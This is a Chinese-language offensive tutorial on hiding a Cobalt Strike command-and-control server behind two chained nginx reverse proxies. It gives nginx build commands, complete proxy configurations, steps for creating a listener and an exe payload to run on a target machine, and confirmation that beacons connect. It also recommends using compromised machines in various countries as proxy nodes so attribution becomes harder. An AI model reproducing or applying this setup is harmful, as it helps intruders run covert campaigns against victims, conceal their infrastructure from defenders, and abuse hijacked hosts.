嘗試將 C2 隱匿于多級 nginx 反向代理
01

大致思路是這樣,首先,我們會用一個 CS 的外部 http 監聽器先把流量彈到第一層的 nginx 反代理節點上,因為事先已經在 mail 這臺機器上做好了反代配置,而這個反代配置里實際指向的是我們第二層 nginx 反代節點的域名,所以當回連的流量一過來就會直接被拋到第二層的 nginx 反代節點上,由于又事先在第二層反代節點上也做好了反代配置,不過這次配置里指向的并不是別的地方,而是我們真實的 C2 服務器域名,所以最終導致的結果就是,目標機器回連流量在通過眾多的 nginx 反代節點之后正常上線,大家自己實際操作過程中,務必要先對著拓撲理解清楚再動手,不然你可能會覺得有些亂,其實,說實話,沒啥技術含量,完全都是些基礎的堆砌加靈活應用而已,來看實際操作吧
0x01 首先,同時在兩臺 nginx 反代節點的 vps 機器上編譯安裝好 nginx,過程非常簡單,如下
# apt-get install build-essential libtool libpcre3 libpcre3-dev zlib1g-dev openssl -y
# useradd -s /sbin/nologin -M nginx 切記不要以高權限起服務
# wget http://nginx.org/download/nginx-1.14.1.tar.gz
# tar xf nginx-1.14.1.tar.gz
# cd nginx-1.14.1
# ./configure --prefix=/usr/local/nginx-1.14.1 --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module
# make && make install
# echo $?


0x02 接著,再回到自己本地的 linux 機器上
啟動 CobalStrike 客戶端,連到自己的 C2 服務器,然后創建兩個 常規 HTTP 協議,端口為 80 [ 注: 兩個監聽器的協議必須匹配 ] 的監聽器,一個就是反向監聽器 [ 特別注意下這個反連域名,是真正的 C2 服務器域名,即 oa.finalc2.com,也就是等會兒要從第二層 nginx 反代節點往后拋的域名 ]

另外再創建一個相同協議端口的外部監聽器,注意,這個外部監聽器的回連域名要寫第一層 nginx 反代節點的域名[ 即 mail.first.com ],因為回連的流量會首先被彈到這里,然后再通過層層反代直至拋到后端真實的 C2 服務器,最后,再用這個外部監聽器創建一個 exe payload,等會兒要把它丟到目標機器執行

如下,兩個監聽器準備就緒

0x03 由于此處全程都是用域名在操作,所以務必請提前配置好所有域名解析,只需添加一條對應的 A 記錄 即可
mail.first.com 21.67.38.47

host.second.com 187.50.112.135

oa.finalc2.com 208.36.69.66

0x04 開始配置第一層 nginx 反代節點
也就是在 21.67.38.47 這臺機器上,配置過程非常簡單,如下
# vi /usr/local/nginx/conf/nginx.conf
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
log_format main '$remote_addr - $remote_user [$time_local] '
' "$request" $status $body_bytes_sent '
' "$http_referer" "$http_user_agent" "$http_x_forwarded_for" ';
upstream default_pools{
server host.second.com:80; 到達本機的所有 80 端口的流量都會被后拋到這個域名上
}
server {
listen 80;
server_name host.second.com;
location / {
proxy_pass http://default_pools;
}
}
}
配置完成后,務必要記得立即重啟 nginx 服務使配置生效
# ifconfig | grep 'inet addr'
# /usr/local/nginx/sbin/nginx -s quit
# /usr/local/nginx/sbin/nginx

0x05 開始配置第二層 nginx 反代節點
也就是在 187.50.112.135 這臺機器上,過程基本同上,只不過這次是把流量直接拋給了后端的真實 C2 服務器
# vi /usr/local/nginx/conf/nginx.conf
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
log_format main '$remote_addr - $remote_user [$time_local] '
' "$request" $status $body_bytes_sent '
' "$http_referer" "$http_user_agent" "$http_x_forwarded_for" ';
upstream default_pools{
server oa.finalc2.com:80; 真實 C2 域名
}
server {
listen 80;
server_name oa.finalc2.com;
location / {
proxy_pass http://default_pools;
}
}
}
之后,同樣務必要記得立即重啟 nginx 服務使配置生效

此時,當我們回到目標機器上正常執行 payload 后,便會看到 beacon 正常上線,如下,從目標機器的網絡連接中也不難發現,其實,這個連接顯示的 ip 也只是我們上面第一層 nginx 反代節點的ip,而真實的 C2 服務器卻被隱藏在了后端好幾層,再加上如果中間的 nginx 反代節點全部都是直接拿不同國家地域的肉雞搞的[高度匿名化],這無疑再一次加大了對方的溯源難度和成本

另外,從 CS web log 里我們也清晰的看到,所有請求都是從 187.50.112.135 [即 host.second.com 第二層 nginx 反代節點 ]這臺機器過來的,至此,也說明我們的多級反代確實是成功有效的

02小結:
至此為止,關于如何利用多級 nginx 反代,來實現 C2 的深度隱藏基本也就說完了,多次實戰檢驗,傳輸確實挺穩定的,說實話,沒太多技術含量,還是那句話,都是些非常簡單的基礎配合利用,文章初衷也是為了給弟兄們提供一個簡單易用的 demo,其實,在實戰中,你完全可以把這個搞的非常的復雜,比如,利用一些比較穩定的肉雞群做成一個非常龐大的全球反代網,這些就要靠弟兄們自己思考了,ok,再多的就不說了,其實話說到這兒,理解的弟兄,應該也都早已經理解了,不過退一步來講,這樣隱藏 C2 其實還是不夠徹底,因為,畢竟我們此時的 C2 還是直接被暴露在公網中,既然是在公網,那就肯定有被掃到或者反捅的風險,比如,你的 C2 直接用的 CobaltStrike 這種東西來搞的,萬一哪天 CS 再爆洞,你可能又是第一批受害者,所以...弟兄們應該都能理解了,在下個章節中我們將會簡單介紹,如何用避免直接把 C2 暴露在公網中的方式去隱藏,并實現本地 beacon 上線,ok,廢話不多講,有任何問題,弟兄們及時反饋,同時也非常歡迎大家來一起深。